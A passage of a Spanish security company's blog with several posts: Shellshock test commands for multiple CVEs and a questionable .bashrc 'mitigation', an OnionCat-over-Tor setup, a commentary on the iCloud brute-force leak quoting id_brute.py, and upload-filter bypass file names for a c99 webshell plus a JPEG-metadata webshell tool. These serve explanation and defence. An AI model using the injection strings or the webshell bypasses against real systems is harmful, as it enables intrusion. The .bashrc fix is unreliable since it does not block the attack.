Otra manera de mitigar este tipo de problemas es modificando el fichero “~/.bashrc”. Este fichero en un sistema unix es donde se definen las variables de entorno para que el Bash las carge antes de realizar o ejecutar cualquier comando. La ruta “~/” define el HOME del usuario en cuestion.

Deberemos de añadir estas dos lineas al final de dicho fichero con lo que cualquier intento de explotacion de esta vulnerabilidad no lo conseguira.

env x='() { :;}; echo "WARNING: SHELLSHOCK DETECTED"' 
    bash --norc -c ':' 2>/dev/null;

Conclusión

Desde TeamSec creemos que es una vulnerabilidad lo suficientemente importante como para realizar un parcheo del sistema para corregirlo. Por eso les recomendamos que se pongan en contacto con el fabricante para solicitarle asesoramiento y los parches necesarios para corregir el problema.

Al igual que cuando ocurrió con el heartbleed, se ha creado una web para informar sobre la vulnerabilidad. Los efectos que puede ocasionar la explotación de la vulnerabilidad, y sobre todo dan unas nociones de como aplicar los parches a cada uno de los sistemas afectados shellshocker.net.

 

Les recordamos que nuestra empresa estaría encantada de asesorar les para confirmar que sus sistemas son o no vulnerables a este tipo de ataques y después ayudarles a la instalación de los parches o lo que haga falta para hacer sus sistemas y servicios mucho mas seguros.

 

Actualizacion (30/09/2014)

Se han ido encontrando mas vulnerabilidades que tienen que ver con el tipo de Shellshock. La manera de comprobar estas difiere un poco unas de otras pero todas usan de igual manera las variables.

 

Vulnerabilidad Método de prueba
CVE-2014-6271
+env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
CVE-2014-7169
env X='() { (a)=>' bash -c "echo date"; cat echo
CVE-2014-7186
bash -c 'true <
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6277
foo='() { echo "CVE-2014-6277 vulnerable"; }' bash -c foo

 


  • 0

Onioncat redes VPN sobre i2p/Tor

oc_switch

¿Que es OnionCat?

OnionCat es un adaptador VPN que permite conectar dos computadoras o redes a través de túneles VPN. Existen aplicaciones que permiten crear redes VPN entre iguales, tales como openvpn, ssh, etc, en el caso de OnionCat es diferente por que estas redes se crean usando redes anónimas como pueden ser i2p o Tor.

En este caso la comunicación de esta VPN se establece previo al circuito de tor o i2p, donde cada punto final de la red, está precedido por 3 nodos de la red de tor (en el caso de usar tor). Lo que vendrían a ser un total de 6 nodos 3 por cada punto, además añade una capa más de cifrado haciendo que el spoofing sea prácticamente imposible.

OnionCat utiliza los hiddens services de tor. Asocia la interfaz virtual tun/tap al hidden service de OnionCat utilizando para ello ip6. OnionCat asignará una ip versión 6 automáticamente basándose en el hostname del hidden service de la máquinaque inicie la conectividad. Los hidden services de TOR usan direciones *.onion para localizar estos servicios cuya longitud es de 80 bits, mientras ip6 utiliza direcciones de 128 bits, siendo los 128 bits de este último suficientes como para transformar las direcciones de ipv6 a .onion y viceversa.

Dicho de manera mas clara, el sistema primero tiene acceso a Internet. Luego se conecta a Tot o i2p de manera segura y anónima y sobre esa capa lanza la VPN que se conecta al destino. Todo esto hace imposible que si alguien “pincha el cable” pueda interpretar el trafico que pasa por ese cable haciendo la comunicación muy segura.

Figura 1: Esquema de conexión de OnionCat.

Figura 1: Esquema de conexión de OnionCat.

¿Para que puede servir OnionCat?

Puedes ser una opción muy interesante si se quiere por ejemplo securizar una comunicación sobre la red de tor o i2p sin que los participantes revelen su ubicación. Si por ejemplo se usa Internet para realizar esta comunicación las Ips de los participantes son publicas, es mas, un tercero podría conocer el trafico que se envía y recibe entre los participantes. Si se usa algún sistema de VPN los administradores de esas VPNs conocen las IPs de los integrantes. En cambio con el sistema OnionCat se garantiza el anonimato de todos los participantes e incluso del trafico que se intercambia entre ellos.

A nivel empresarial puede ser una solución económica frente a soluciones de vpns de pago y no implica realizar complicadas configuraciones en redes y/o firewalls.

¿Como instalamos y configuramos OnionCat?

OnionCat esta pensado para ejecutarse sobre sistemas unix, pero puede instalarse y ejecutarse sobre windows con el emulador cygwin

apt-get install onioncat
ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)
ifconfig tun0 

Tras ejecutar el comando “ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)” este debería levantar una interface tun0 que será la que inicie la conexión contra los hidden services de TOR.

Presentación en la 25c3: OnionCat — A Tor-based Anonymous VPN


  • 0

Apple, el brute forcing and #TheFappening

findmyiphone
Estos días ha ocurrido algo que era de esperar, otra vez se nos confirma que la seguridad en los móviles esta infravalorada.

La providencia me hizo escribir un post al respecto justo antes de que comenzase el periodo estival, “owasp mobile security” donde describí en gran parte cuales eran las principales amenazas para la seguridad de los móviles y su categorización según OWASP.

 

A la luz salió entonces este script, como no, en python con el nombre id_brute.py, descargable en id_brute.py

Pues no ha tardado mucho tiempo en producirse lo que muchos temían, un fallo de seguridad bastante grave ha hecho que se vulnere la privacidad de gente famosa. La ley de Murphy se vuelve a cumplir.

Apple en este caso, ha sido víctima de un ataque de fuerza bruta a datos privados de usuarios de su nube, a través de un script escrito en python que brutea las credenciales del usuario de una aplicación concreta.

Ha habido muchas declaraciones acerca de quien tiene la culpa, algunos dicen que si apple, otros que la app, algunos incluso hablan de los famosos y sus claves.

Arrojando un poco de luz sobre todo esto:

Supuestamente para utilizar un servicio apple solicita varios tokens, sin embargo en el script, se puede leer esta línea de código donde el ID del iphone (uno de estos tokens de seguridad) se crea como una variable estática, de hecho el comentario en el código es “créala aleatoriamente!”.

¿Según esto, apple habría obivado ese token a la hora de acceder a la nube?

#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",

Otros hablan de un ataque más dirigido, ¿Es posible que el hacker utilizase alguna técnica de phising para extraer esos Ids y luego usarlos en su script? Se habla de que es posible que el hacker sacase los datos de los IDs a través del servicio “Find My Iphone”, también, al perecer con un ataque de fuerza bruta.

 

 

En cualquier caso, a nuestro modo de ver, el gran fallo es de apple. Puesto que, los servicios de almacenamiento en la nube son de ellos y ellos son los que deberían encargarse de la seguridad. Ellos son los responsables últimos de que sus APIs manejen estos tokens supernecesarios de seguridad y ellos deberían ser los que aclarasen cual a sido el problema. Esta descrito como M5 Poor Authorization and Authentication Según la categoría OWASP para este tipo de riesgo. No porque la autorización sea pobre, sino porque no ofrece ninguna prevención contra la fuerza bruta aparentemente.

En cuanto a las fotos, nada espectaculares, ni siquiera excitantes, algunas un poco íntimas, en internet se han creado canales con el nombre #TheFappening, subreddits, etc y cientos de salidos las han guardado cual Golum con el anillo de poder (su tesoro). Algunos famosos se lo han tomado mejor que otros y se prepara una lluvia de demandas.

En cualquier caso, volvemos a insistir: Las passwords tienen que ser seguras, confiar la seguridad a un grupo pequeño pero poderoso de compañías, no va a hacer más que esas compañías sean objetivo de continuos ataques a sus usuarios, es lógica pura.

Entramos en una era donde confiamos la seguridad de nuestros datos a potencias extranjeras, empresas multinacionales, etc sin pararnos a pensar en la seguridad de nuestros datos. No voy a cuestionar aquí los beneficios de la nube, si no obstante los beneficios de una nube con sistemas de cifrado de datos en el almacenamiento o simplemente que las aplicaciones cifren los datos de los usuarios.

Sinceramente creemos que nunca se sabrá la verdad de como se hizo el ataque. Apple dirá que sus sistemas son seguros, que no han tenido brechas de seguridad. Los expertos de seguridad crearan teorías mas o menos elaboradas sobre como pudo pasar. Y el usuario … seguirá siendo el usuario, que con tener su móvil “chulo” de ultima generación que tenga unos iconos superchulos, estará satisfecho. Al final todos pensamos que “Eso nunca me puede pasar a mi”. Lo malo es que si te puede pasar. En eso vamos a agradecer al hacker darnos una lección sobre seguridad, ya que si los que padecieran esta intromisión no fueran famosos quizás nadie prestaría atención a la seguridad de sus dispositivos


  • 0

Hacking con imágenes 2

En un post anterior se describió un posible ataque a través de imágenes bmp, esta vez vamos a hablar de otro tipo de ataque pero también a través de imágenes. La diferencia es que, esta vez, el ataque es del lado del cliente y/o servidor que funciona con imágenes de tipo jpg.

El peligro puede venir de parte del lado del servidor, siempre que en una web exista algún método de subir una imagen jpg. Este problema es muy típico que en foros y otros sitios web donde el usuario tiene permitido subir imágenes y compartirlas con los demás usuarios.

A grandes rasgos el problema se produce al no comprobar el servidor si la “supuesta” imagen que sube el usuario es en realidad una imagen.

Vamos a ver como se puede aprovechar las medidas que se usan para comprobar el código fuente del lado de un servidor, en el siguiente codigo vemos que el servidor comprueba si el tipo del fichero subido es “image/jpg”. Veamos un ejemplo:

<input name="fileToUpload" type="file" onchange="check_file()" >
if($_FILES['userfile']['type'] != "image/jpg")

Muchas veces los programadores utilizarán un código similar que  hace lo que se supone debe hacer, checkea el archivo para comprobar la extensión de lo subido. Lo malo es que si solo hace la comprobación del tipo de archivo al que se refiere se puede truncar esta medida de comprobación cambiando por ejemplo la extensión del archivo.

Por ejemplo, en programación esto definiría los tipos de extensiones permitidas.

$valid_file_extensions = array(".jpg", ".jpeg", ".gif", ".png");

Hay que tener muy en cuenta la hora de filtrar las entradas de usuario que pueden reportar un comportamiento distinto al esperado e implementarlo a través de la programación.

Funciones como strrchr dan mucho juego pues puede ser utilizado para que se consiga baypassear esta comprobación.

$file_extension = strrchr($_FILES["file"]["name"], ".");

Ejemplo de posibles intentos que en muchos casos pueden llegar a funcionar, al subir una imagen a una web que solo comprueba alguna función del tipo strrchr. Con imaginación , alguien maliciosamente podría testear funciones e intentar subir una webshell como c99. Tenemos un ejemplo de este tipo en la siguiente URL http://www.php.net/manual/en/function.strrchr.php

c99.jpg.php – Es posible que llegue a satisfacer la subida del jpg

c99.jpg.PhP – Ofuscación.

c99.php;.jpg – A veces puede ignorar lo que hay detrás de un ;

c99.php.test – Puede ser que se ignore .test

c99.php.xxxjpg – Es posible que invalide el final xxxjpg por invalido

De nuevo, para explotar este tipo de vulnerabilidad, necesitaremos de algo que convierta una imagen esta vez jpg, en una webshell con código malicioso. Esta herramienta nos permite utilizar el espacio de de los metadatos que contiene un jpg para insertar ese código. Simplemente genial.

http://kaoticcreations.blogspot.co.uk/2013/10/ohno-evil-image-builder-meta-manipulator.html

Desde el punto de vista de la programación cada vez más, se están estableciendo unos patrones de metodología de control del desarrollo de la aplicación a nivel de la seguridad. Existen una serie de metodologías que ayudan a realizar ese tipo de comprobaciones. Entendemos que esto es algo que no debe estar resumido en una API de control de usuarios, sino como parte de una rutina que el programador debe asumir además como llevar un control de excepciones (exceptions, errors, etc) que pueda reportarle la aplicación. Se puede resumir en no dejar cabos sueltos, ya que el no tratarlos correctamente puede terminar por convertirse en una vulnerabilidad y ser explotada.

Por todo ello es recomendable que para cualquier proyecto existan una serie de protocolos, metodologías, asesores que guíen en todas las fases de vida de dicho proyecto desde el punto de vista de la seguridad. Cuanto antes se introduzcan expertos o metodologías de seguridad en un proyecto ayudara a que los costes de los cambios sean mínimos si lo comparamos con los costes que se pueden dar en, por ejemplo, reestructurar una herramienta para implementar contramedidas para que los “usuarios” no suban ficheros que no debieran.

Recordar que la seguridad es una lucha de todos, tanto de los que prestan los servicios (web, programas, etc) como del usuario. La seguridad debe de ser proactiva por ambas partes.

Nuestra empresa estará encantada de ayudarles en sus proyectos de seguridad con un grupo de profesionales altamente cualificados que darán soluciones a sus problemas y necesidades